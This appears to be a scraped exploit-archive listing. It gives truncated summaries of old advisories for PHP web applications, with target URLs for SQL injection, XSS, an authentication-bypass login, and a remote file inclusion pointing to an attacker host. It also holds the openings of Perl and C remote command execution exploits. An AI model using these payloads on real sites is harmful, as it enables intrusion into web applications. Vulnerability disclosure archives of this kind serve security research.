TUGZip Archive Extraction Directory traversal

TUGZip Archive Extraction Directory traversal TUGZip is a powerful award-winning freeware archiving utility for WindowsA® that provides support for a wide range of compressed, encoded and disc-image files, as well as many other very powerful features; all through an easy to use application...

Sire 2.0 (lire.php) Remote File Inclusion/Arbitary File Upload Vulnerability

Exploit for unknown platform in category web applications ============================================================================ Sire 2.0 lire.php Remote File Inclusion/Arbitary File Upload Vulnerability ============================================================================ +File...

Sire 2.0 - '/lire.php' Remote File Inclusion / Arbitrary File Upload

+File Inclusion: Input passed to the "rub" parameter in "lire.php" isn't properly verified, before it is used to include remote files Successful exploitation requires that "registerglobals" is enabled. lire.php code +Exploit: Exploit http://trajet/lire.php?rub=http://attacker&cahier=1&art=1...

linksubmit <= All version Html Tag Injector in index.php

Vendor : linksubmit Version : All Version www : http://www.phpselect.com AUTHOR : s3rv3rhack3r you can submit html tag's in $description linksubmit.php Exploit : !/usr/bin/perl Exploit by s3rv3rhack3r Special Thanx : hessamx , f0rk ,sattar.li , stanic, mfox,blood moon and.. / | | | / / | |/ // / ...

DbbS<=2.0-alpha SQL injection

author: DaBDouB-MoSiKaR Moroccan Security Team site: http://www.dbbs.sup.fr/ greetz to : Moroccan Security Team CiM-TeaM and All Freinds exemple: http://target/topics.php?fid=3&limite=sql inbox:DaBDouB-MoSiKaRatmoroccan-securitydotcom...

BPMSQL.txt

+Blog Pixel Motion +Sowtware's Web Site:www.pixelmotion.org +founded by Morocco Security Team +creetz to:SnIpErSA,Esp!onLeRaVaGe,CiM-TeaM,Kasparov,nabil,sniper,www.lezr.com and all muslim morocco +http://victim/blog/admin/index.php +user:moroccan-security //you can write any name : +pass:' or...

dabdoubSQL.txt

author: DaBDouB-MoSiKaR Moroccan Security Team site: www.o2php.com greetz to : Moroccan Security Team CiM-TeaM and All Freinds Solution: intval exemple: http://target/post.php?action=newthread&fid=sql inbox:DaBDouB-MoSiKaRatmoroccan-securitydotcom...

dbbs.txt

author: DaBDouB-MoSiKaR Moroccan Security Team site: http://www.dbbs.sup.fr/ greetz to : Moroccan Security Team CiM-TeaM and All Freinds exemple: http://target/topics.php?fid=3&limite=sql inbox:DaBDouB-MoSiKaRatmoroccan-securitydotcom...

PhxContactsSQL.txt

+PhxContacts +website of software:http://www.phoetux.net/ +founded by Morocco Security Team +special 10x to:all friends ww.lezr.com & www.cim-team.org +xss +http://target/login.php?m=xss +SQL +http://target/carnet.php?viewcat=&alllines=true&motclef=sql...

nuked-SQL.txt

+nuked-klan +www.nuked-klan.org +founded By Moroccan Security Team +special 10x to:CiM-TeaM,Esp!onLeRaVaGe,nabil,Dranzelz,SnIpErSA,www.lezr.com +exemple +http://target/index.php?file=Calendar&m=sql&y=2006 +have nice day...

UBBThreads.txt

+UBBThreads -Founded By Moroccan Security Team +we are DaBDouB-MoSiKaR,simo64,ki11er,Dr.E-Vil,|ucifier +special 10x: to all friends SnIpErSA,CrashOvErrIdE king-hacker,CiM-TeaM,ameer,Dranzelz,Esp!onLeRaVaGe and www.lezr.com +Solution:Upgrade to a version 6.0.3...

PHPSelect Submit-A-Link - HTML Injection

source: https://www.securityfocus.com/bid/17348/info Submit-A-Link is prone to an HTML-injection vulnerability. The script fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would be executed in the context of th...

xchangerSQL.txt

+X-Changer v0.2 Demo +website of software:http://www.skintech.org +founded by Morocco Security Team +special 10x to:all friends ww.lezr.com & www.cim-team.org +SQL +http://target/index.php?from=sql&into=sql&value=1&action=calculate +http://target/index.php?action=edit&id=sql +have nice day...

MediaSlash Gallery 'rub' variable Remote File inlcusion Vulnerability

author: Moroccan Security Team Vendor: www.MediaSlash.com Vendor Contacted greetz to : Moroccan Security Team CiM-TeaM and All Freinds Google : Powered by MediaSlash.com Details: MediaSlash Galleryis is vulnerable to remote URL inclusion vulnerability This flaw is due to an input validation error...

X-Changer <=v0.2 Demo SQL injection

+X-Changer v0.2 Demo +website of software:http://www.skintech.org +founded by Morocco Security Team +special 10x to:all friends ww.lezr.com & www.cim-team.org +SQL +http://target/index.php?from=sql&into=sql&value=1&action=calculate +http://target/index.php?action=edit&id=sql +have nice day...

PhxContacts <= 0.93.1 beta Multiple SQL injection & xss

+PhxContacts +website of software:http://www.phoetux.net/ +founded by Morocco Security Team +special 10x to:all friends ww.lezr.com & www.cim-team.org +xss +http://target/login.php?m=xss +SQL +http://target/carnet.php?viewcat=&alllines=true&motclef=sql...

GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (2)

No description provided by source. !/usr/bin/perl Exploit by Hessam-x www.hessamx.net Special Thanx : Vampire , s3rv3rhack3r / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | \ /| | // / | / \ | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir DeltaHAcking Team website:...

Blog Pixel Motion<=1.xx Authentication Bypass Vulnerability & SQL injection

+Blog Pixel Motion +Sowtware's Web Site:www.pixelmotion.org +founded by Morocco Security Team +creetz to:SnIpErSA,Esp!onLeRaVaGe,CiM-TeaM,Kasparov,nabil,sniper,www.lezr.com and all muslim morocco +http://victim/blog/admin/index.php +user:moroccan-security //you can write any name : +pass:' or...

GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (1)

No description provided by source. include stdio.h include windows.h include winsock2.h define RETCONNERR 4 // Connection error define RETSOCKERR 3 // Return for socket error define RETRESVERR 2 // Error code for cannot resolve host define RETOK 1 // Return OK pragma commentlib,"wsock32" define...

GreyMatter WebLog 1.21d - Remote Command Execution (2)

!/usr/bin/perl Exploit by Hessam-x www.hessamx.net Special Thanx : Vampire , s3rv3rhack3r / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir DeltaHAcking Team website: www.deltahacking.com Name : Greymatter Site :...